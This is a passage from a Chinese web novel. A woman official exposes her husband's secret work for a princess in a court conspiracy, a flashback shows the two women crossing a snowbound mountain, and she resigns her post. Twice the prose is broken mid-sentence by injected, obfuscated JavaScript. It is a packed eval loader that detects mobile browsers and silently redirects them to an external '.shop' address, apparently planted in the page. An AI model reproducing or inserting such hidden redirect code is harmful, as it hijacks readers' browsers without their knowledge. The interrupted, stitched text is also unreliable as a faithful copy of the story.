戚姮靠着桌沿,笔杆子戳下巴:“若是想挪动公款,暂缓发放,就是你一念之间的事喽?” 后煜埋头拨弄算盘,“噼噼啪啪”响个不停,手快得都出残影,还能分个心回答戚姮的问题:“理论上,人人都这么想。觉得钱从手中过,哪天贪了就能顺走些。” “其实我只负责决策,支取需要公文,太府寺审核后库管核对,再申报户部,户部申报御史台……要过许多人的眼,所有人都要为我的决策担保。尤其军饷,牵连国家命脉,很难作假。” 后煜提笔写下数字:“要是极好贪污,我就不至于穷成那样了。” 戚姮笑:“我还以为你是个好人呢。能坚守这么多年不挪用,自己吃糠咽菜。” “我没那么高尚,就是怕被砍头。”后煜顺嘴说,“说贪也好贪,风险大些。领空饷,盐钞茶引造假,监守自盗,放高息债务……” 他越说声越小,直到意识不对劲,一扭头,戚姮正在无辜眨眼。 后煜:“你套我话。” “没有呀。”戚姮装听不懂,“我就问问。” 后煜向旁侧身,不再理她。 “哼。”戚姮从后趴到他背上,将整理成册的资料拍在后煜面前,“弄完了。” 后煜捻着纸张大体翻看了一遍,也就口头上教过戚姮一次,她算数快,基本用不上算盘,每条顺序记得也准确。有一半的账都是戚姮做的,几乎也没什么可指摘的地方。 交上去核查,更没有打回来重修。 戚姮晃悠着脑袋,下巴戳在他的颈窝,忽地开口:“我让人顺着下江南的各处官道,小路,水运都探了一遍。今日才把人带回来,我又审了一遍,她还是什么都不肯说。” 后煜想了想:“原来你不用亲自去。” “我都混到现在了,养的专人不用,要我一个不专业的亲自去探。这不是等着宁淮他们几个狗急跳墙,半路再截杀我吗。” 后煜:“……有道理。” 戚姮又道:“赫连般若是被人护送着离开的汴京。想来也是,若没有人为她开路,她一个连中原话都是后学的楼兰人,连如何出城都够呛知道。” “可我总觉得有点奇怪,宁淮想杀她,又有人想放走她。这两拨人既然不合,又为什么会对合伙来对付我。” 后煜那嘴就跟缝上了一样,紧闭不语,任由戚姮自言自语。 刚从水里出来,他身上的浴衣松松垮垮挂着。戚姮更是穿得凉快,一条裹胸一条短裤,裸露着大片肌肤。 她伸手进后煜的衣领,在里面摸索来去。 “你别摸我……”后煜被扰的思绪不能集中,短短几个字无论看多少遍都不往脑子里记,“先等我忙完。” “感觉咱俩感情淡了。”戚姮无厘头来了一句,“从前你追着让我摸你。” 后煜反驳:“我没有。” “你看,你现在先反驳的都不是感情淡了。” “……” 浴衣单薄,里头又什么都没穿,贴在一块连体温都传的清晰。 戚姮没有停手,揽着他先放下最后那点尾账,一盏茶的事。 “这几天我光顾着把北凉人打发走了,要处理的东西也很多,太忙,把你给晾在了一边。”戚姮推他倒在地面铺的羊毛毯上,挑开浴衣,摸上了后煜的胯骨,“你不想我吗?” 后煜绷着表情,想拿开戚姮的手:“……上次的淤青,还没消。” “我的,那个,也疼。”后煜羞于启齿,“我就不是很想,再,那个。” “郎君无能。”戚姮摇头,语气中尽是可惜,“又善妒,还不许我找别人。” 后煜呆愣着,戚姮三两下把衣裳给他盖回去了:“没意思。” 后煜抓住了戚姮离开的手,垂眼,又把衣裳打开了,“你喜欢这样的吗……?我可以学。” 她笑了两声,歪身拉开抽屉,翻出了个小铁盒:“逗你玩的。” 上次结束以后,他说他好像骨折了,戚姮摸了半天骨也没感觉出来哪有问题,点灯凑近一看,从腿根到胯骨起了一大片的淤青,泛着淡紫色。 她震惊于这家伙居然这么娇嫩,还没干什么就能伤成这样。 当时没管,一直拖到现在也没让人给他送药,要不是后煜刚才说了一嘴,真就给忘了。 她垂着脑袋观察了一会淤青,后煜抬起胳膊挡住半张脸,体温以肉眼可见的速度上升,从脖子到脸红了一片。 “李在溪成为御史中丞前,更之前些,不算中间的升迁调度。做过一阵子的户部左曹郎中。户部,三司,和太府寺,向来是绑在一块的。” 戚姮在手心将药膏化开,揉在他聚着淤青的地方:“这就像解修竹把你和解烺分开塞进这两地一样,李在溪与你前头那位太府卿,李拭镜,他们是堂兄弟。一样的岗位,做事有交集,有照应,” “我查到的消息说,李拭镜早在两年前就畏罪上吊自杀了。牵扯范围甚广,不然也轮不到你年纪轻轻顶了这么大的职位。” 戚姮语气漫不经心,仿佛就是随便提起:“我就好奇,一个太府卿,获了什么罪,能被吓的自杀。” “……” 后煜一动就被戚姮拽了回去,她看着他,眼底晦暗不明,颇有要个说法听听的意思。 “我不知道。”后煜又躺平了回去,隔开戚姮的目光,“他的案子有官家介入,太府寺全体停职,安排开封府的人调查。等回去以后,我就升官了。” “可我知道。”戚姮问:“你想知道吗?” 后煜依旧回避:“知道这些做什么,多少年前的旧事了。” 戚姮自顾自道:“三司早有被架空的苗头,近几年户部的权分了不少出来,太府寺也不再是个清闲地了。追溯上去,转变的关键就在先帝登基前后,是太府卿拥有实权的开始。” “自从你说宁淮的目标不是我,是赫连般若所知的秘密之后。我就怀疑,当年楼兰案并不一般。要不然他怕什么呢?” “十三年前的东西再想翻出细节,也不简单。我就简单顺着宁淮,楼兰,先帝这几个关键线索去大体了解始末,才找到李拭镜这个人……” 后煜突然出声:“前些天你说,两年过去身量长了些,大部分衣物都陈旧了,想换新衣。” 他指着柜子方向:“我给你做了身新的放在那,你看看合适吗。” 戚姮不动,就一直盯着他。 后煜尴尬地扫了扫鼻尖:“……你说吧,我不打断了。” “明天下朝了穿给你看。”戚姮继续问,“你真不好奇我调查到哪一步了吗。” “应该……查到李拭镜盐钞贪腐了。”后煜无力抵抗,“不然也不会套我的话。” “你这不是很清楚他做过什么?”戚姮说,“还装不知道。” 后煜吭不出什么所以然,只好实话实说:“多一事不如少一事,你太会套话了,说多错多。” 屋内几度静的可怕,戚姮垂着眼,手上还在继续涂药。 后煜最怕戚姮安静和思考,每次等她沉思过以后,凭直觉也好,有逻辑也好,说出来的猜测几乎全是对的。 就像现在,他总觉得戚姮已经查出来了不少东西。 戚姮却问:“你知道我跟赵文则到底怎么闹成这样的吗。” 后煜一呆,也不等他回答,戚姮便说:“当初文则想进军队,跟着一起去前线。她早就跟陛下请示过,但一直等不到陛下点头答应。” “陛下子嗣稀薄成那样,就这么一个女儿,怎么能舍得放人去战场。” 戚姮顿了顿:“但文则太想去了,谁也劝不动。等她说服了陛下,与我爹商量了能参与的职位。临到最后,我把她支走了。” “没什么原因,我就是害怕。连我都没接触过这么大的战役,谁能保证她的安危,保证她能活着回来?” 戚姮伸出手指细数:“我这辈子就怕三件事,我爹死,我舅舅死,还有赵文则死。” “所以我骗她说来年开春才走,宫中消息闭塞,加之我与陛下串通,一块诓了她。” “实则那年初冬我们就走了,她被调离汴京,压根没收到消息。” 戚姮找着水盆洗净掌心的药膏,擦着手缓步走了回来。披散的发丝垂在脸侧,从后煜的视角看去,只有模糊的轮廓:“我猜到了她会恨我,两年来连信都没敢往回传。我也以为只要时间够久,她的新鲜感过去,这事也就过去了。” “结果不顶用。” 后煜重新系好了衣裳带子,翻了个身,看着戚姮听她继续讲。 戚姮仰头,向后靠在桌沿,怔怔盯着天花板的装潢呢喃:“这几天我也想明白了。她没有因为害怕出事阻止我的决定,反而提前一年做准备,就为了能跟着去照顾我。” “但我做了她最不屑于做的事。虽然……我也挺不屑的,当时却想着偶尔当一回小人能怎样。” “她了解我,从小到大我想做什么,要做什么,她都能猜到。我不行,我没她聪明,连赵文则身边有谁都不清楚,也不了解她。” “结果,她就是会因为这件事跟我断绝所有关系。” 戚姮的眼珠瞟过去,伸腿搭在了后煜身上,叹道:“所以她恨我也好,想杀我也罢,都是我自找的。” “……” 实话说,这是后煜最不会处理的纠纷,各有立场最难调和。 但说实话对目前来说没什么作用,细想了想,他才道:“我爹见我会识字就敢把我塞进太府寺,公主若是想,陛下也能为她寻个职位待着的吧?” 戚姮摇头:“她要强,即便陛下给了她也不要。” 后煜无奈道:“那就只能等了。等到下次出征带上她,或许能解开心结。” “我也是这么想的,不然没什么办法。” 戚姮认同了他的方法,突然话锋一转:“这就像,之前我以为你放走赫连般若是因为赵初这么吩咐了。现在看来,他要做的远比这狠。所以,我就很想和你聊聊,你当时在想什么。” “……”后煜都没反应过来,话题就已经转到自己身上了。 他眨着眼睛缓了半天,戚姮也不着急,等后煜缓过劲后撑起身就想跑,被她一腿按在地上,箍在原地纹丝不动。 戚姮坐在旁边,似笑非笑:“有什么感言吗。” 后煜嗫嚅着嘴唇,从唇角挤出几个音节来:“你是怎么……发现的。” 戚姮深呼吸一口气,不急不缓地开口:“玄乎着说,是直觉。我一直知道是你做的,不然那天我打你干什么。” “能解释地说,你出现在开封府的时间太巧。而且你知道那个密道,连机关都会操作,这都能与后来李在溪的指控对上。你才是最可疑的那个。” 后煜难以置信:“就这么简单?” 半分实质证据都没有,只是来诈一下? 早知道不承认了…… 戚姮眼睛微眯,就像看懂了他的意思,又说:“开封府全体都在给李在溪作伪证,我怀疑过是他另找个了波斯人,伪装成我出现。我让人在宁淮府外驻守很久,终于逮到他把尸体运出去了。” “他确实准备了一个波斯人。照你说的,他想把赫连般若杀了,人却跑了。所以这个波斯人,可能没用上。另有人把她放跑了。” “今上午我又审了一遍赫连般若,她见到我第一句,就骂我虚伪。明明给她放了出去,还要再抓回来。” 戚姮“啧”了一声:“还有啥想不明白的,这世上能伪装我的人只有赵元。” 后煜面色一僵,瞪大眼睛盯着戚姮,半晌没说出话。 “你有什么辩言?”戚姮伸手示意他说。 “……你应该怀疑公主,是如何想到我头上的?” 戚姮笑了笑,就知道他会如此狡辩。 “夏怀微前几天喝醉了,说赵元把他踹了,因为他要害我。能跑去跟赵元告夏怀微状、还知道这件事的,除了你还有谁?” 这还没完,戚姮继续道:“还有你发冠里藏的药,跟那天衙役酒中掺的东西,包括你后来‘劫狱’下的药,一模一样。全都出自陛下之手。” “他药房研究出的东西都有一个特性,摘我家花园里的决清子做引。别人闻不出来,但我对这个特别敏感。” “除了是赵元给你的,难道是陛下给你的?” 后煜辩无可辩,始终沉默不说话。 “所以你和赵元肯定认识。且,你是真的在给赵元做事,赵初反而是被你耍的团团转的那个。” “……” 后煜无比震撼于她查到了赵元头上,平常还能表现的跟没事人一样。 戚姮无论发现什么,做了什么,回到家统统不表现。 除了家长里短别的也不说,后煜进门这么久了,连她的字叫“草蛾”都是在牢里看到了她刻的。 发冠什么时候被她摘走了,不知道。迷药的材质又是什么,听不懂,给了就用了。还有更多的,后煜统统不知道。 她居然默默把整件事从头到尾查明白了…… 戚姮看着他青一阵白一阵的脸色,想张嘴又无可反驳的模样,就知道事实与自己的推测大差不差。 “让我串一串。依你的性格,只愿意给帮过你的人做事,尤其是管过有关国公府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531486|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事。” “差不多……你还住在青衣巷的时候,刚进朝堂口袋空空,国公府却要收你住的宅子,是赵元给你找了的住处吧。” 后煜的表情已经彻底维持不住了,他刚抬起手,又被戚姮按了下去。 他现在的表现活像个无法抵抗命运捉弄的可怜虫,看得戚姮没忍住笑出声: “啊……我猜到这个是因为。我给你去还债,赵初第一反应很懵,就像不知道什么宅子。他可能以为这是你的临场发挥吧,倒也没说什么。” “这几天我又发现,你对伺候的女使小厮都很抵触。我安排在碧水云庭的人全都被你安排打扫院子去了,屋里不让进……你家没有人伺候,不是你说的没钱,单纯是你不喜欢。” “但你确实很穷。赵元给你宅子又不可能要钱,所以是你发了俸禄非要还给她,对吧?” 后煜小声狡辩了句,睁着眼说瞎话,自己都突然笑了。 “你看你,回回演着演着就演不下去了!” 戚姮推了他一把,从刚认识就觉得他演技差死了,见一次想笑一次,现在又笑了半天:“我都不知道他们为什么这么爱用你当卧底。” “演赵初足够了……就演不了你。” 后煜揉了揉笑僵的脸颊:“大多数人都会自我怀疑,即便起了疑心也能糊弄过去。我没见过你这样的,就只相信你自己,特别坚信。我说什么都不管用。” 她意味深长道:“我还知道更多呢,你想听吗。” “……呃。” “比如,你为什么会来纠缠我。” 戚姮捏着他的肩膀,十分丝滑的将所有大差不差讲述了一遍:“是不是赵元管不住解烺,想让你来找我,让我护着你。恰巧,赵初也找上了你,要你来害我。” 后煜恍惚不已:“这又是怎么猜到的。” “赵元都愿意帮你了,肯定不会放任解烺不管,但她应该不抵秦小公爷有实权,解烺不害怕,有心无力。但是,有个什么人都敢揍的我。” “再加上赵初不老实,想往我身边安插眼线,赵元不可能干看着他害我,就顺水推舟,想办法让你顶替了这个位置。” 戚姮点头,对自己能捋清这些感到欣慰:“简单来说,你看似做了很多坏事,实则没有一件对我造成影响。甚至连放跑赫连般若也没有她真被杀了麻烦,绝对被赵元嘱咐过。” “这个,”后煜支支吾吾地认了,“确实是这样。” “公主说不把火烧到你身上,你才懒得查这么明白。她就装成了你的样子,要我打开地牢,先送赫连般若离开。” 戚姮好奇问:“为什么要我查这么明白?” “她在等你自己发现赵初有问题,只有你亲自发现才行。这样长记性。” “……”倒还蛮符合赵元的作风。 戚姮还没完:“我猜到你和赵元认识,是因为我发现李拭镜是你搞死的。” 后煜听完这么多都麻木了,闻言心跳停滞了一瞬,惊恐地看着戚姮。他慌忙蹬着腿想跑,被戚姮给死死拽住,无法移动分毫。 “你跑什么,我又不告发你。” 戚姮搞清楚了这些,通体舒畅,语气都轻松不少:“虽然你已经很努力在模仿李拭镜的字迹了,但据我观察,你写字有个特点:撇捺容易起钩,偶尔还有向下斜的小拖尾。” “这是波斯字体的轨迹。我只见过三个人这么写字,我娘我舅舅,来汴京还带着这个习惯。其次是我老师,解檀,教我写字时总有要划下去的冲动。专门叮嘱过他那样写不规范,要我去临摹字帖,别学他。” 戚姮摩挲着下巴思考:“这么拙劣的伪证能被掩盖,肯定是官家装着不知道了。我就想,到底是谁为你求情他才会轻轻放下。然后我就想到了赵元。” “你写字有波斯的风格,我猜这才是赵元愿意帮你的原因,具体还没猜到。官家不仅没追责,还升你当上了太府卿……” 她说:“你很复杂啊。” “……” 在戚姮将这些挑明之前,后煜一直以为是赵初掩盖的很好,才把赵繁英给糊弄了过去。 结果她说是皇帝装着不知道。 后煜张着嘴,脑子里一团浆糊,眼前虚幻飘渺,什么都理不清。 “我不知道……”他是真的想不明白了。 他转动着眼珠瞄向戚姮,坦白后就跟没穿衣服上街裸奔差不多,淡淡地尴尬弥漫在空气中,两人之间。 后煜揪着衣裳布料扯来扯去,见戚姮不像生气,定了定心神,小心翼翼地开口:“我错了……” “别吵,我在捋逻辑。” 后煜:“……” 他慢慢爬了起来,试探着挪动到戚姮身边,歪头靠在她肩上,抱着她装鹌鹑,果真安静地没再说过一句话。 赵元让他去纠缠戚姮前嘱咐的不多,就说了最关键的几点:卖惨,少问,和听话。 赵元的确是这世上最了解戚姮的人,早就猜到很快会被她识破,安排后煜点到为止,就配合做了些无足轻重的东西,再多的全都装聋作哑推脱掉。 她说,只要平常表现老实点,等戚姮查清也不会追究。 后煜瞥了好几眼戚姮的表情,丁点异常都没有,不由得缓缓松了口气。 “我问你,赵元一开始是安排你做什么的?” “额,”后煜挠了挠脸,“夏瑾带着目的接近她,她反手就要我混进赵初阵营里面,探消息。” 戚姮点头,差不多跟猜想的一样:“赵元很早就发现赵初不对劲了?” “好像……是吧。我不知道。反正赵初并不老实,他每天都在为真正登基那刻做准备,把谁都当假想敌,提前铲除异己。” “公主发现赵初的手伸向侯府以后,故意向夏瑾暗示了你的喜好。其实是按照我描述的。” 后煜补充:“她不想让赵初伤了你,想让因素可控些,就等着夏瑾找上我了。” 戚姮又沉思好久,忽然笑了一声,突兀地响在耳边:“赵元心中一直是我更重要。” “我也是。”后煜戳了戳她,“你最重要。” “去你的。你心里是你小命更重要。” 戚姮不同他继续拌嘴了,支着下巴,如释重负:“都查清了。我也该去哄赵元了。” “其实她可好哄了,我去把官辞掉,卖几天惨,她肯定就原谅我了。” 后煜错愕极了:“你要辞官?” “辞了官,皆大欢喜,不是吗。”戚姮扭头问,“何必再绕这么一大圈,把所有人都搅和进来。乱成一锅粥了,搅完才发现,就这么简单点事。” “……” 戚姮不以为意:“一个官而已,如果我不失去点什么,哪有惨给赵元卖。” 38. 水落石出【六】 贞和七年正月雪,北风飘寒,千里冰封,枝干摧折。 雪地深深浅浅四只脚印并列而行,傍晚黄昏,天色渐暗。 戚姮向后瞧了一眼,风险最大的地方已经走过去了。再望向前,树木林立,还不知什么时候能翻过这座山。 她伸出手肘捣了捣赵元:“等会回去舅舅肯定要骂我们到处乱跑。” “大雪封山,朝廷的人进不来,强行开路还可能雪崩。军队僵持在外围这么多天了,越拖延死的人越多,就缺人深入开路。” 赵元听了她那话直摇头:“想办法从里面打通到外,要是成了,他不会怪我们的。” 这场暴风雪裹挟着严寒,自西北吹来,上奏的折子刚递到汴京皇帝眼前,就被阻断了一切与外界沟通的渠道。 去年干旱了一整年,粮食产量本就大幅下降,朝堂虽下令减半了税收,却也是吃不饱人的。百姓家中没有存粮,又遇十天半个月绵延不绝的大雪,已经死了庄稼,就怕牲畜再跟着冻死。 将它们赶到屋内同住,时间久了,又惹起了疫病。 饥荒与瘟疫赶到一块,赵繁英想往回传个信问问现状都不成,下拨的赈灾粮被挡在山脚,也根本进不去。 再拖着早晚要将雪山后整座城的人都给耗死,他这才亲自带着一支队伍来到现场。 赵繁英下午刚到,就被凌冽呼啸的寒风吹得差点站不起来,他打算着等风雪弱些再安排人去探路。 哪知一个不留神,闺女侄女已经装好背包,握着长杆,眼上蒙一块麻布就跑了。 “万一他下次不带我们了怎么办?” 戚姮紧了紧腰间的绳子,赵元平常只待在宫中,身体要弱些。用绳子将两个人绑在一块,就不怕她滑倒再不可控地摔下山了。 赵元手脚麻木,被冻得已然全无知觉,却还在机械性地将长杆插进雪地,撑着继续走:“那我们就一起求他,他肯定还会带的。” 风雪主要集中在山的背面,只要不怕死,跨过那段极其难走的雪下冰缝,陡坡,和沟壑。来到另一面就祥和多了,这里雪下的更厚,危险深埋在地下,结了一层厚冰,反而安全。 走到天色完全暗了下去,月光被雪面映射起来,照亮了周围,依稀还可以看清不少。 戚姮摘了麻布塞进包中,又从底下翻出准备的烈酒干粮,与赵元分了一半。 喝酒会暖些身子,也不指望吃的多饱,垫巴两口恢复些力气,还要赶紧下山去寻镇子里的县令。 “你难不难受?”赵元摘了手套,搓了搓戚姮跟冰块一样的脸,“你这病越到冬天越严重,要是不舒服可要跟我说。” “早就治好了。”戚姮咀嚼着冷硬的烧饼,噎得梗脖子,才艰难地咽了下去,“放心。” 赵元想向四周探查一番,哪知往前刚走几步就一脚陷进去整只腿。她踉跄着爬起来后退,用长杆试探,插进地里没入了整整三分之二。 这种厚度再想徒步走基本上不可能,赵元扭头对着戚姮说:“这边雪太厚了,走不了了。” 戚姮拧上水壶的盖子,塞进背包,亲自探了一遍。 “还真是。”戚姮退回来,道,“得造点东西才行。” 赵元疑惑地:“造东西?” 戚姮又埋头在包里翻腾。 她有过与戚砚出去翻山的经验,只为积累将来被敌军追击到绝处,如何走出深山和面对野兽的经验。她也最清楚在野外该带些什么东西,这包被装的跟百宝箱似的,紧接着就掏出了一把斧头。 戚姮掂量着斧头,勾起一抹笑:“造雪橇。” 这里到处都是桦树,戚姮挑了根看着不错的,卯足了劲砍,连盏茶的时间都没有,这棵树便摇摇欲坠。为它送上最后一击,“砰”地一响,应声倒地。 戚姮手起斧落劈出两根直木,足有手腕粗细。带来为引燃的干草被火寸烧燃,借着火苗,她迅速将直木的两端烤软,再掰弯出弧度。 赵元被安排着拿空水袋往里头装雪,隔火融化,指着她刚烧好的木头,问道:“这是……滑条?” “对。”戚姮等水袋中的雪化成了水,才把这些推到赵元面前,塞给她一把匕首,“你把滑条表面刮的光滑些,待会滑起来会更顺溜。” 戚姮又劈出木条对着滑条比划,搭建底座的杆子很快被搭到一起,再由麻绳固定。 绑麻绳的时候往上泼着雪水,全部浸湿冻硬后,麻绳堪比一根铁条,彻底将东西固定死了,怎么摇晃都不散。 戚姮解下狐皮大氅盖在底板,用来防滑隔寒,就算彻底大功告成了。 “来来来,试一试。” 戚姮推着好不容易制成的雪橇来到积雪最厚的位置,身上裹来赵元还带着体温的大衣,她从后为戚姮系好领子,才拾起包坐了上来。 这是一段下山路,用长杆捣了几下雪橇就顺着坡滑下去了,连劲都不用使。 耳朵被羊毛帽围住,冷风只刮过侧脸。速度越来越快,戚姮支着杆不断调整方向,避免撞到石头树木,刺激极了。 “好玩好玩!” 戚姮的呼声在林中回荡,她真玩开心了,一扭头,赵元正双手紧攥着木杆,一副严正以待又十分不安的模样。 “别害怕。”戚姮继续操纵着雪橇,“我驾车你就放心……哎呀!” 戚姮没躲开凸起石头,急速滑行中雪橇向一侧翻去,只听两声惊呼,两道身影都跟着骨碌骨碌跌落到地。 陷阱之上蒙的那层树枝稻草被白雪覆盖到看不出异样,赵元滚落至坑边,整个人都随之向下掉。 戚姮原本都停住了,眼见此情此景动作比脑子还快,扑下去抱住赵元,空中翻了个身垫在她底下。 “咚”,又一声闷响,赵元被护的严严实实,没感受到丝毫疼痛。 她抬起脑袋,意识到戚姮替自己扛了所有冲击后吓的魂都快飞了,连忙爬起来查看戚姮的状况。 “草儿?”赵元拍了拍戚姮的脸,她紧闭的双目始终没睁开,“你醒醒啊,你别吓我!” 猎户捕猎的陷阱恰巧让她们二人掉进去了,赵元仰头看向陷阱之上,才是真正感受到了什么是绝望。 单凭她一人根本上不去,更别提带着戚姮上去。 无论怎么喊戚姮就是没反应,赵元颤抖着手探在她的鼻息下,没感受到任何呼吸。浑身一个哆嗦,小脸瞬间煞白,自己的心跳都跟着停止不动了。 “哈哈哈哈——”戚姮演不下去了,突然大笑出声,“你居然以为我摔一下就死了,哈哈哈!” 赵元:“……” 赵元一把推开戚姮,气愤地转过身:“不要拿这种事开玩笑。” “哎呦……哎呦哎呦。”戚姮捂着后背又捂上后颈,嘴上念念叨叨:“好疼啊,刚刚摔的我好疼啊。” 赵元又立马凑来关心:“下次别给我垫着了……还有哪不舒服?” “没有了。” 戚姮麻溜地从地上站起来,绕着这个陷阱走了一圈,半点看不出有事的样子,道:“麻绳用完了,我先上去的话没法拉你上来。反正这也不高,这样,你踩我肩上,我先把你送出去,然后我再自己上去。” 赵元问:“可以吗?” “不然没别的办法,困在这的话……等雪化了也够呛有人能发现我们。” 戚姮活动了两下肩膀,单膝跪下地,朝赵元伸手:“来。” 赵元犹疑地握住她的手,伸脚踩在戚姮的腿上,再慢慢挪动至肩膀。 戚姮缓缓地起身,等赵元扶着土墙稳住身形,距离洞口就只有几寸之遥了,还没等赵元想好应该怎么办,脚踝就突然被握住。 “一,二,三……!”戚姮话音刚落,赵元就这股力被扔了出去,半个身子倒在雪地里,也顾不得冰冷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“它应该就是怀孕了有点饿,但不敢下手。这一片猎户都挺狠的,它也怕人。”戚姮捏了捏斧头,还是不敢放下戒备,只对赵元说,“包中还有一整只烧鸡,我本打算等咱俩实在撑不住再拿出来,现在是等不及了。” “我带着你挪过去,你扔给它,看看它会不会走。” 赵元点头:“好。” 戚姮又慢慢地后退,等赵元翻出那只烧鸡,奋力一把投到对面,还将那母狼吓得弹开几步。 肉香味钻进鼻中,母狼低头嗅闻几下,张嘴叼起,绿色反光的眼睛朝这里望了一眼。 赵元有些紧张,躲在戚姮身后看着它。她们被冻了一下午,难免行动会有些迟缓,真打起来讨不着好,还浪费时间困在山中,更耽误事。 能最小伤亡地解决问题自然最好。 更何况这母狼还怀着狼崽,有些人性的猎户也从不猎孕兽。不到万不得已,她们两个还真没有想杀了它的心。 母狼果然叼着烧鸡扭头走了,很快消失在视野中。 戚姮维持进攻的姿势许久,确定危机解除才放下胳膊:“没事了。” 赵元虚脱无力地坐回雪橇,捂着胸口缓了半天。 戚姮挨到赵元身侧,检查了一番雪橇车没有松动的地方,手持长杆放好背包,道:“我们得快点走,等会再碰见什么凶兽可就没现在运气这般好了。” 赵元捏了捏被冻僵的眉心肌肉:“我就不该把你也卷进这危险中。” 戚姮随口道:“没出大事就是好事,哪有什么危不危险。” 赵元绷着唇角没吭声,戚姮瞥过去,道:“你不会打算着下回不带我了吧?” “……”被看穿的赵元有点尴尬。 戚姮略有些不爽:“现在就算死了也有我陪你,不找我你还想找谁?” “我就是瞎想的……”赵元刚撇过头,又被戚姮掰了回来,“你想都不要想。” “不想不想。”赵元推着她道,“快走吧,马上都后半夜了。” 戚姮还是一脸狐疑地模样:“真不想了?” 赵元连连点头承诺:“真不想了。” 39. 水落石出【七】 “你要辞官?” 赵繁英诧异地从堆了满桌的奏折中抬起头来,瞧着面前戚姮,又问了一遍:“你真的要辞官?” “是。”戚姮回道,“反正这案子查不出来也是要贬,不用那么麻烦,我直接辞掉好了。” “……” 赵繁英半天没吭出下一句,挥退屋内宫女太监,关了门,他才道:“就因为这么一件小事,你要辞官?查不出来又没什么,我不可能真的把你赶下去。” “不是案子的问题。” 戚姮肉眼可见的情绪低迷,满面憔悴疲惫,眼下乌青一片:“这官我做不下去了。” 戚姮直说:“在军营的时候我就想过,等回来了无论什么代价都要让文则原谅我。真回来了,又害怕直面她,躲了这么久……现在她要跟我一刀两断。” 赵繁英一怔。 “这件事一点也不小了。”戚姮反手擦拭着眼泪,“文则一直被困在之前走不出来,我不能再扔下她第二次,继续做这个官。” 赵繁英起身拉过戚姮,绕到椅边让她坐下,倾身问:“是文则说的让你辞官?” “不是。”戚姮摇头,“是我觉得只有这样才对得起她。” 赵繁英试图挽救道:“你没与她好好说说吗?即便是诓了文则,可也不是踩着她上位。朝堂不好闯,只因为她生气就不干了,未免……” 戚姮出声打断:“忠义也难两全,我只能舍弃一个,成全另一个。” “……” “舅舅,我真的做错了……我不可能不付任何代价。” 戚姮缓缓抱住赵繁英的脖颈,将脸埋进他的衣领,眼泪殷湿了一小片布料:“让我辞了吧,我才能去找文则说清楚。” 赵繁英张了张嘴,什么挽留的也都说不出口了。 “……我也有责任,文则不敢与我闹,就把怨恨全转嫁到你身上了。” 赵繁英轻拍着她的后背,道:“待会我就把你的职位都撤了,这些你都不要管了。我让赵初去对接,你跟他把目前的情况说清楚就行。然后,去波斯找文则吧。” 戚姮抬起脑袋:“波斯?” “北凉人使臣被你打包赶走以后,文则的确不想着跑去哪边了。昨天,她跟我说要去波斯转转。我觉得散散心也好,就让她去了,一直派人看着行踪,现在正在路上。” 赵繁英另只手拭掉戚姮的泪,轻声道:“你也去看看吧,毕竟是你们两个出生的地方。” 戚姮自三岁那年踏入汴京那年起,就再也没有回过波斯。 忽然提起,也根本忆不起在那里发生过什么。 她还是点了头,应道:“好。” · 入夏后的汴京城,阴雨总是连绵不断。 戚姮刚走出御书房,就瞧见后煜站在廊下,靠着柱子傻呆呆地盯着地上水洼。 她踱步而去,敲了一下后煜的肩头,脚步未停地向外走去:“今日太府寺清闲了?你竟还有时间在这里傻站着。” 后煜思绪回笼,忙追了上去,跟在戚姮身后,道:“我正好瞧见你进宫,就跟着进来了。” 戚姮好不容易酝酿起卖惨的情绪,因为赵文则离宫戛然而止,她揉了揉眼,道:“跟这么紧干吗,还离不开我了不成?” 临出长廊前,后煜便撑开了伞,弯腰拾起戚姮拖地的裙摆,雨滴落在伞面上噼里啪啦,他说:“我猜你是来辞官的,跟着看看你会不会难过。” 戚姮有些诧异,歪身凑得近了些,同撑一把伞:“不难过,这对我来说没那么重要。” “现在好了,谁都不用再费劲巴拉想着怎么把我踢出汴京了。”她转过脸,笑道,“你是不是就没任务了。” 后煜“嗯”了声:“差不多吧。” “那你可以走了。”戚姮说,“现在解烺被解修竹看得很严,也不敢再找事了。” “你一个从四品官员,年纪轻轻,脑子也不傻,又有秦国公府的势,将来仕途必然极顺。” “各路威胁都平了,任务也顺利完成,你也没必要继续待在侯府了。回去把聘书一烧,你跟我就再没什么牵扯瓜葛,耽误不着你以后的事了。” “……”后煜不可置信地,“你说什么?” 戚姮转过身,银色发饰随着她的动作轻轻摇晃:“我说,你想走的话就可以走了,我不会拦着。” “我……”后煜反应不及,整件事到底是如何扯到这来的,“我”了半天,憋出一句:“我不想走。” 戚姮很是奇怪地看着他:“你不想走,倒也行,毕竟我说过可以让你住一辈子。” “但我过几日就要离开汴京了,还不知道多久回来,半年?一年?说不准。你本就害怕我爹,只怕你自己在家也待不住啊。” 后煜蹙眉问:“这个案子不是结了吗,你为什么还会被官家轰出汴京?” 戚姮觉得好笑:“谁告诉你的。是官家准我出去转转,我要去波斯,山高路远的,光路都要走两三个月。” 后煜微微放下心来,又接着问:“不能带上我吗?” 戚姮耐心解释:“你还有职务,太府寺那么忙,必须留在这。” 后煜哑口无言。 太府寺平日里连请假半天都是奢侈的存在,他还想一走了之,简直痴人说梦。 戚姮给他思考的时间,可今日穿的单薄,被风刮过还有些凉意,也等不了太久。 她又道:“现在走我还乐意,以后你随便再找谁家的姻亲。不走的话就只能干等我回来了,你图啥?” 戚姮歪头,凑近在后煜脸前,微微挑起的眉昭示了她的疑惑。 后煜愣然:“找别人家……?” “是啊。” 看着戚姮一脸无所谓的模样,后煜面上完全不能接受:“这一个月,我缠了你一个多月。什么都说了,什么都做了,你问我图什么?你还要我去找别人?” 